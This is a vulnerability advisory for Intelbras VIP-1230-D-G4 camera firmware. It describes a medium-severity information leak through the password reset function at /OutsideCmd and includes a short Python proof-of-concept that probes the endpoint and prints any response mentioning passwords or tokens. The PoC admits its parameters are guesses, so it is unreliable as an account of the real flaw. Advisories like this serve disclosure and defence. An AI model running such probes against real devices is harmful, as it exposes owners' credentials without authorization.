An issue in Intelbras VIP-1230-D-G4 Version V2.800.00IB00C.0.T allows a remote attacker to obtain sensitive information via password reset functionality under /OutsideCmd
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Intelbras VIP-1230-D-G4 V2.800.00IB00C.0.T
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target configuration
target_url = "http://<target_ip>/OutsideCmd"
# Send request to the vulnerable endpoint
# Note: The specific parameters may vary based on the actual implementation
def check_poc(ip):
url = f"http://{ip}/OutsideCmd"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}
try:
response = requests.get(url, headers=headers, timeout=5)
# Check if sensitive information is leaked in the response
if response.status_code == 200 and ("password" in response.text.lower() or "token" in response.text.lower()):
print(f"[+] Vulnerability detected at {url}")
print(f"[+] Response content: {response.text[:200]}")
else:
print(f"[-] Vulnerability not detected or site is down.")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_ip = "192.168.1.100" # Replace with actual target IP
check_poc(target_ip)